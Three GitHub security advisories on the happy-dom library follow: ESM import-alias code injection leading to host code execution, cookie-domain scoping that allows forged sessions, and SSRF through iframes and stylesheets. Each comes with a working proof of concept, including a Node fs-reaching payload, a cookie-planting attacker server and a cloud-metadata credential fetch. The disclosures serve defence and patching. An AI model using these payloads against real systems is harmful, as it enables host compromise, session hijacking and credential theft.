More information
Details
Summary
The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.
These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
The same PoC does not trigger on [email protected].
The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.
Suggested affected range:
No patched version is currently available.
Preconditions
- JavaScript evaluation is enabled with
enableJavaScriptEvaluation: true.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details
In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;Consider the following source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };This is invalid ECMAScript module syntax. Node.js rejects it at the = token.
Happy DOM instead transforms it into the equivalent of:
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.
The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.
1. Create package.json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}2. Create dep.json
3. Create payload.mjs
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();5. Run the control test
npm install
node --check payload.mjs
Expected result:
SyntaxError: Unexpected token '='
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
Expected result:
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a node:24-alpine Docker container, where it created:
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
CVE-2026-33943 covers expression injection through a local export declaration:
export { attacker_expression }Its fix added identifier validation to the importName used by the export { ... } handler:
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}This report uses a different parsing and code-generation path:
import { name as malicious_alias } from './module';The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.
Suggested fix
Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.
This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.
For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.
Verification record
- Testing date: 2026-09-17
- Duplicate check updated: 2026-09-20
- Platform: Windows 11
- Node.js:
24.14.1
- Latest tested package:
[email protected]
- Source tag:
v20.14.5
- Source commit:
0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
- First confirmed affected version:
17.0.0
- Confirmed unaffected version:
16.8.1
- Docker environment: Node 24 Alpine
- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.
Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
More information
Details
Summary
A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.
Details
happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.
PoC
Run:
node poc-happydom-cookie-domain.js
Full proof-of-concept source (poc-happydom-cookie-domain.js):
// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
// -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
// -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
// -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');
const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost
let victimReceivedCookies = [];
let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;
const attacker = http.createServer((req, res) => {
if (req.method === 'OPTIONS') {
// CORS preflight (happy-dom enforces same-origin policy with a preflight; the
// attacker trivially answers it — an attacker-controlled server always can)
res.writeHead(204, {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, OPTIONS',
'Access-Control-Allow-Headers': '*'
});
res.end();
return;
}
res.writeHead(200, {
'content-type': 'image/gif',
'Access-Control-Allow-Origin': '*',
// Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
// A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
// the request-host; localhost is also on the Mozilla PSL).
'Set-Cookie': attackerSetCookie
});
res.end('GIF89a');
});
const victim = http.createServer((req, res) => {
victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ ok: true, user: 'alice' }));
});
function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }
async function runScenario(scenario) {
victimReceivedCookies = [];
const win = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: {
enableJavaScriptEvaluation: true,
suppressInsecureJavaScriptEnvironmentWarning: true
}
});
try {
if (scenario === 'no-plant-control') {
// Control: app NEVER contacts attacker -> victim must receive NO cookie
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else if (scenario === 'honest-domain-control') {
// Control: attacker sets Domain=127.0.0.1 (its own host, honest)
// -> cookie must NOT leak to localhost victim
attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
} else {
// attack: app fetches attacker content (scraping/SSR/third-party resource)
await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
}
await sleep(150);
return victimReceivedCookies;
} finally {
win.happyDOM.abort();
}
}
async function main() {
await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));
console.log('=== happy-dom cookie-domain scoping PoC ===\n');
const attack = await runScenario('attack');
console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
attack.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
console.log(` -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);
const noPlant = await runScenario('no-plant-control');
console.log('\n[CONTROL] app never contacts attacker');
noPlant.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
const honest = await runScenario('honest-domain-control');
console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
honest.forEach((e) => console.log(` victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
// unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
const win2 = new Window({
url: `http://localhost:${VIC_PORT}/`,
settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
});
win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
const readBack = win2.document.cookie;
console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
console.log(` -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
win2.happyDOM.abort();
// unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
const matchesBoundary = CookieURLUtility.cookieMatchesURL(
{ key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
new URL('https://notexample.com/')
);
console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
console.log(` -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);
attacker.close();
victim.close();
process.exit(0);
}
main().catch((e) => { console.error(e); process.exit(1); });Observed output (verbatim, Node 24.15.0, Windows):
[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
-> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match
Impact
Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.
Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
More information
Details
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false — iframes fetch their src URL via real HTTP requestsdisableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
- Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Severity
- CVSS Score: 8.6 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).